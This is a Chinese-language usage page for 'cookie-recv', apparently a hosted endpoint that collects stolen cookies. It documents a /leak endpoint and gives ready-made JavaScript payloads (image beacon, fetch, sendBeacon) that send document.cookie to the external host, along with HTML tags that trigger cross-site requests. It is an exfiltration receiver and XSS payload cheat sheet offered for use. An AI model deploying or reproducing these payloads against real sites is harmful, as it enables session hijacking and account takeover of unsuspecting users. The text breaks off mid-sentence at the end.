cookie-recv

本次访问已记录 ✅

核心接收端点是 /leak, 支持 GET / POST, 不传 probe 也会记录。

GET — 参数即载荷:

GET https://cookie-recv.pages.dev/leak?probe=登录页&result=token=xxx

POST — form 表单或纯文本:

POST https://cookie-recv.pages.dev/leak
Content-Type: application/x-www-form-urlencoded

probe=登录页&result=token=xxx

前端 JS — 图片打点 / fetch / sendBeacon 皆可 (CORS 全开):

// 1) 图片打点 (最简单, 自带 cookie)
new Image().src = "https://cookie-recv.pages.dev/leak?probe=home&result=" + encodeURIComponent(document.cookie);

// 2) fetch
fetch("https://cookie-recv.pages.dev/leak?probe=api&result=" + encodeURIComponent(v), {method:"GET"});

// 3) sendBeacon (页面卸载时也能发)
navigator.sendBeacon("https://cookie-recv.pages.dev/leak", new URLSearchParams({probe:"unload", result:document.cookie}));

直接访问本站根路径 / (即本页) 就会被记录 —— 浏览器对 https://cookie-recv.pages.dev 已存的 cookie 会自动放进 Cookie 请求头带来。

种一个测试 cookie 再刷新:

document.cookie = "test_session=abc123; path=/; max-age=3600";

从其它站点触发访问 (浏览器会带上本域 cookie):

<img src="https://cookie-recv.pages.dev/?from=img" width=1 height=1>
<meta http-equiv="refresh" content="0;url=https://cookie-recv.pages.dev/?from=redirect">
<a href="https://cookie-recv.pages.dev/?from=link">跳转</a>

只是统计分组用的标签, 任意字符串都行, 不传也记录。常见约定: